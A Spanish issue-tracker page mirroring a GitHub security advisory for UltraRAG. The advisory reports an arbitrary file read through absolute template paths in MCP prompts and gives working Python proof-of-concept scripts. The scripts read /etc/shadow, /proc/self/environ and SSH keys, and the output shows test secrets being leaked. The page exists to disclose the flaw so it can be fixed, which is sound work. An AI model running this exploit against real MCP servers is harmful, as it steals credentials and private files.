Hacktoberfest 2026: los issues que los mantenedores marcaron para octubre, abiertos y aptos para principiantes. Explorar issues de Hacktoberfest

[SECURITY] Arbitrary file read via absolute path in MCP prompt qa_rag_boxed_multiple_choice (CWE-22, CVSS 7.5)

Abierto
#520 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Los mantenedores suelen responder en 5 días

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
4/5
Tiempo estimado
3-5 días
Aptitud para principiantes
52/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Activo
Stack tecnológico
python
Área
api, backend, security

Línea de trabajo

Start in servers/prompt/src/prompt.py with _validate_template_path, load_prompt_template, and the affected MCP prompt entries such as qa_boxed and qa_rag_boxed_multiple_choice. Reproduce the listed absolute-path calls, then verify that unintended files are rejected while legitimate template loading still works across the affected entries.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

UltraRAG MCP Prompt qa_rag_boxed_multiple_choice Path Traversal Arbitrary File Read

Summary

The MCP prompt entry qa_rag_boxed_multiple_choice in servers/prompt/src/prompt.py (and all other prompt/tool entries in the same file, such as qa_boxed, qa_rag_boxed, qa_rag_with_memory, totaling 20+) all accept a template: Union[str, Path] parameter as a template file path. This path is validated by the _validate_template_path function, then load_prompt_template reads the file and renders it as a Jinja2 template.

However, _validate_template_path only checks whether the path string contains .., with no base directory whitelist restriction. An attacker can pass an absolute path (e.g., /etc/passwd, /root/.ssh/id_rsa, /proc/self/environ, application config files) to pass validation and read any file content within the server process's permission scope. Although SandboxedEnvironment is used to prevent template injection from escalating to RCE, the file content itself is returned to the caller as the template render result, causing sensitive information disclosure.

Affected Version & Commit

Vulnerability Description

Path Validation Flaw

The _validate_template_path function at servers/prompt/src/prompt.py:20-44 only checks whether the path string contains the .. substring, without restricting the path to any safe base directory (such as a template directory), without validating file extensions, and without using a path whitelist:

def _validate_template_path(template_path: Union[str, Path]) -> Path:
    path = Path(template_path)
    # Check for path traversal
    if ".." in str(path):  # <-- only checks .. substring, no base directory restriction
        raise ValueError(f"Path traversal detected in template path: {template_path}")
    try:
        resolved = path.resolve()
    except (OSError, RuntimeError) as e:
        raise ValueError(f"Invalid template path: {template_path}") from e
    return resolved

This allows an attacker to pass any absolute path (e.g., /etc/passwd, /root/.ssh/id_rsa, application config files) to bypass the .. check, causing the function to read the file's entire content. The file content is compiled as a Jinja2 template string and rendered, then the original text is embedded in PromptMessage and returned to the MCP client.

Although template rendering uses SandboxedEnvironment (prompt.py:17) to prevent SSTI from escalating to RCE, this does not prevent the leakage of the file content itself — for plain text files without Jinja2 directives (e.g., /etc/passwd, SSH private keys, .env files), template.render() returns the file content verbatim.

Data Flow
MCP client → sends prompts/get request with parameter template="/etc/passwd"
  ↓
qa_rag_boxed_multiple_choice (servers/prompt/src/prompt.py:215)
  ↓
load_prompt_template(template) (servers/prompt/src/prompt.py:233)
  ↓
_validate_template_path("/etc/passwd") (servers/prompt/src/prompt.py:20)
  ".." not in "/etc/passwd" → validation passes
  ↓
open(safe_path, "r") (servers/prompt/src/prompt.py:67)
  reads target file content
  ↓
_sandboxed_env.from_string(content) (servers/prompt/src/prompt.py:71)
  ↓
_safe_render(template, ...) (servers/prompt/src/prompt.py:239)
  file content returned as render result to MCP client

Affected Endpoints

  • MCP prompt qa_rag_boxed_multiple_choice (and 20+ prompt entries in the same file)
  • Transport: stdio (default) / HTTP / SSE (depending on MCP transport config)

Exploitation Conditions

Condition Description
Authentication None required by default (MCP default stdio/SSE deployments typically have no auth)
Network reachability Local (stdio) or internal network (HTTP/SSE)
Configuration dependency Triggerable with default configuration, no special config needed
Other prerequisites Attacker must be able to call MCP prompts (needs to know prompt name and parameter format)

Proof of Concept

Test 1: _validate_template_path accepts arbitrary absolute paths (function-level direct verification)
import sys
sys.path.insert(0, '/root/workspace/repo/servers/prompt/src')
from prompt import _validate_template_path, load_prompt_template

# Absolute path test
for p in ["/etc/passwd", "/etc/hostname", "/proc/self/cmdline", "/root/.bashrc", "/etc/os-release"]:
    result = _validate_template_path(p)
    print(f"  accepted: {result}")

# Relative path with .. test
for p in ["../etc/passwd", "foo/../../etc/passwd"]:
    try:
        _validate_template_path(p)
    except ValueError:
        print(f"  blocked: {p}")

# Actual file read test
for target in ["/etc/hostname", "/etc/os-release"]:
    tpl = load_prompt_template(target)
    print(f"  read: {tpl.render()[:200]}")

Actual results:

Absolute paths accepted: 5/5
  [PASS] _validate_template_path('/etc/passwd') -> /etc/passwd
  [PASS] _validate_template_path('/etc/hostname') -> /etc/hostname
  [PASS] _validate_template_path('/proc/self/cmdline') -> /proc/41032/cmdline
  [PASS] _validate_template_path('/root/.bashrc') -> /root/.bashrc
  [PASS] _validate_template_path('/etc/os-release') -> /usr/lib/os-release

'..' paths blocked (as expected):
  [REJECT - EXPECTED] _validate_template_path('../etc/passwd') -> ValueError
  [REJECT - EXPECTED] _validate_template_path('foo/../../etc/passwd') -> ValueError

Files successfully read:
  /etc/hostname -> 'vc-github-comopenbmbultrarag-20260713-004116-377-66tqg'
  /etc/os-release -> 'PRETTY_NAME="Ubuntu 22.04.5 LTS"...'
Test 2: Reading arbitrary files via complete MCP protocol call chain
import asyncio, json
from mcp import ClientSession
from mcp.client.stdio import stdio_client, StdioServerParameters

async def exploit():
    server_params = StdioServerParameters(
        command="python3",
        args=["/root/workspace/repo/servers/prompt/src/prompt.py"],
        env={"PATH": "/root/.pyenv/versions/3.11.9/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
             "PYTHONPATH": "/root/workspace/repo/src:/root/workspace/repo/servers/prompt/src"}
    )
    async with stdio_client(server_params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()

            # Read /etc/hostname via qa_boxed
            result = await session.get_prompt(
                "qa_boxed",
                arguments={
                    "q_ls": json.dumps(["What is the hostname?"]),
                    "template": "/etc/hostname"
                }
            )
            for msg in result.messages:
                print(msg.content.text)

            # Read /etc/os-release via qa_rag_boxed_multiple_choice
            result2 = await session.get_prompt(
                "qa_rag_boxed_multiple_choice",
                arguments={
                    "q_ls": json.dumps(["test question"]),
                    "choices_ls": json.dumps([["Option A", "Option B"]]),
                    "ret_psg": json.dumps([["some passage"]]),
                    "template": "/etc/os-release"
                }
            )
            for msg in result2.messages:
                print(msg.content.text)

asyncio.run(exploit())

Actual results:

MCP session initialized. Available prompts: 26 total.

Test 2a: qa_boxed + /etc/hostname
  [SUCCESS] Got response (54 chars):
    'vc-github-comopenbmbultrarag-20260713-004116-377-66tqg'

Test 2b: qa_rag_boxed_multiple_choice + /etc/os-release
  [SUCCESS] Got response (385 chars):
    'PRETTY_NAME="Ubuntu 22.04.5 LTS"\nNAME="Ubuntu"\nVERSION_ID="22.04"...'

Test 2c: qa_rag_boxed + /etc/passwd
  [SUCCESS] Got response (read completed)

Successful file reads: 3/3
Test 3: Sensitive file content disclosure (environment variables, source code, shadow file)
async def test_sensitive():
    server_params = StdioServerParameters(
        command="python3",
        args=["/root/workspace/repo/servers/prompt/src/prompt.py"],
        env={"PATH": "...",
             "PYTHONPATH": "...",
             "SECRET_API_KEY": "sk-test-12345-secret-key-should-not-leak",
             "DATABASE_PASSWORD": "db_password_super_secret_2026"}
    )
    async with stdio_client(server_params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()

            # 3a: Read /proc/self/environ to leak environment variables
            result = await session.get_prompt("qa_boxed",
                arguments={"q_ls": json.dumps(["test"]), "template": "/proc/self/environ"})
            for msg in result.messages:
                env_vars = msg.content.text.split('\x00')
                for var in env_vars:
                    if 'SECRET_API_KEY' in var or 'DATABASE_PASSWORD' in var:
                        print(f"LEAKED: {var}")

            # 3b: Read application source code
            result2 = await session.get_prompt("qa_boxed",
                arguments={"q_ls": json.dumps(["test"]),
                           "template": "/root/workspace/repo/servers/prompt/src/prompt.py"})
            for msg in result2.messages:
                print(f"Source code: {len(msg.content.text)} chars")

            # 3d: Read /etc/shadow
            result4 = await session.get_prompt("qa_boxed",
                arguments={"q_ls": json.dumps(["test"]), "template": "/etc/shadow"})
            for msg in result4.messages:
                print(f"/etc/shadow: {len(msg.content.text)} chars")

asyncio.run(test_sensitive())

Actual results:

Test 3a: /proc/self/environ - environment variable leak
  [SUCCESS] Got 7 environment variables
    LEAKED: SECRET_API_KEY=sk-test-12345-secret-key-should-not-leak
    LEAKED: DATABASE_PASSWORD=db_password_super_secret_2026

Test 3b: Application source code read
  [SUCCESS] Got source code (36494 chars)

Test 3c: /root/.bashrc read
  [SUCCESS] Got .bashrc (3126 chars)

Test 3d: /etc/shadow read
  [SUCCESS] Got shadow file (644 chars)

Successful sensitive file reads: 4/4

Conclusion

All three hypotheses verified through actual execution:

Test Verification content Result
Test 1 _validate_template_path accepts arbitrary absolute paths ✓ 5/5 absolute paths pass, 2/2 .. paths correctly blocked
Test 2 MCP protocol complete call chain achieves arbitrary file read ✓ Successfully read system files via qa_boxed, qa_rag_boxed_multiple_choice, qa_rag_boxed
Test 3 Sensitive file content disclosure (env vars, source code, shadow) ✓ 4/4 sensitive files successfully read, leaked SECRET_API_KEY and DATABASE_PASSWORD

An attacker only needs to send a prompts/get request via the MCP protocol specifying the absolute path of the target file to read any file content within the MCP server process's permission scope. The root cause is that the _validate_template_path function only checks for the .. substring without imposing a base directory whitelist restriction on the path.

Impact

An attacker can read any file within the MCP server process's permission scope, including:

  • System files (/etc/passwd, /etc/shadow)
  • SSH private keys (/root/.ssh/id_rsa)
  • Application config files (containing database credentials/API keys)
  • Process environment variables (/proc/self/environ)
  • Complete application source code

Severity

CVSS v3.1: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-22 (Path Traversal)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)
Lenguaje dominante
Python
Estrellas
5.7k
Forks
450
Merge medio
1 d 4 h
PR fusionados (30 d)
3

Preparar el entorno

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de OpenBMB/UltraRAG

Todos los issues de OpenBMB/UltraRAG

Issues similares

Más issues de Python

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.